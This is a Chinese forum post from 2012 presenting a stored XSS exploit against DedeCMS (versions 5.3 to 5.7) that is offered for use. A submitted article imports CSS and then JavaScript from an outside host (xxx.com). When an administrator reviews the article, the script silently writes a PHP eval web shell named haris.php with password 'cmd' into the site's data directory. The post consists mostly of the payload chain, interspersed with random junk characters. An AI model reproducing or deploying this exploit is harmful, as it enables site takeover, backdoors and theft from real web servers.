找回密码
 立即注册
查看: 2706|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
  A5 H& m5 f+ Z$ U" w为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)( W8 S2 @' u& b1 y. H
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。$ T' S5 U! F: \2 J
下面说说利用方法。; P* }% T  c1 [. g1 r8 y
条件有2个:( v6 {* A+ P9 ^/ h7 i+ l% k
1.开启注册
7 K4 u0 i: H1 B3 _- F# H7 H5 N2.开启投稿4 ]. t+ \2 \; P0 n4 ], x
注册会员----发表文章& n8 x# I, {6 l) |* k0 T# u" Q
内容填写:
7 z: C  o: X; @0 `2 }) k复制代码
! f  X. Z- E# B& R+ h<style>@im\port'\http://xxx.com/xss.css';</style>
) X. M0 C) o  r$ n! f新建XSS.Css
# T! j/ \/ J% @! a5 Z% I6 t复制代码
- D  l5 b! P5 ~6 u# ]/ F8 w( W2 r.body{. L& e) E: f0 w6 Z. Z
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }- N$ \+ l9 ~6 z( t2 K3 `" z) B! o
新建xss.js 内容为, S# I  N  w7 ^7 d; c
复制代码
1 G' }4 s, m4 ]! w) h/ m1.var request = false;
  F% _% E% [( _! O- o. l' Y2.if(window.XMLHttpRequest) {
; i. _4 g, q! J- N) ?; J3.request = new XMLHttpRequest();  N% e7 N+ h( E1 B
4.if(request.overrideMimeType) {
1 l* ~) P: K% p3 f# p5.request.overrideMimeType('text/xml');9 u, w4 A2 t# j" {2 O1 s1 g
6.}
* e6 C' v8 c; `3 e7.} else if(window.ActiveXObject) {
: g, Z# d! g7 i. J8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];( }' A2 G3 r. K$ ^5 r
9.for(var i=0; i<versions.length; i++) {' b- Q- X) i/ s# ]) E* y
10.try {6 Y3 Z! ^. s4 M$ K. z; T
11.request = new ActiveXObject(versions);
6 s$ L- ?+ I# Z+ ~4 E7 g6 b7 u, @12.} catch(e) {}
+ U" \( j: z6 d" `, {13.}" D* S& t* |: ^8 j
14.}) g. E( v9 T" o0 ^8 W
15.xmlhttp=request;
* G9 b$ M- O( E2 a# G16.function getFolder( url ){! D/ h: R/ u  `+ R  m
17. obj = url.split('/'); o9 h- o  a0 Z/ G" J
18. return obj[obj.length-2]
$ N$ R0 l% X2 l& u6 x- e5 I! L19.}* F4 r2 H& {' ], \5 M
20.oUrl = top.location.href;
: I# K# x% {9 j# B, b, P' u5 Y21.u = getFolder(oUrl);
2 h4 y7 R' c' E! w2 [5 W; x( I5 y& |8 n22.add_admin();
5 Q2 H8 y# F1 z, w2 N23.function add_admin(){
* D3 P$ v! w3 U4 I24.var url= "/"+u+"/sys_sql_query.php";( G4 c* A( s- d* w! m8 w1 n
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";+ g9 M) T% m( y$ Z/ J, d
26.xmlhttp.open("POST", url, true);( _+ b! }( Q; S- O7 m" O5 H2 D
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");& d0 g6 P* p- V* g0 M
28.xmlhttp.setRequestHeader("Content-length", params.length);
3 b8 K/ Z- c1 X+ J! M1 I2 X29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");0 c: ^  M$ f) i8 N
30.xmlhttp.send(params);( @: j. i, ~" |6 A2 f7 C
31.}+ ]- J9 R! \8 n
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表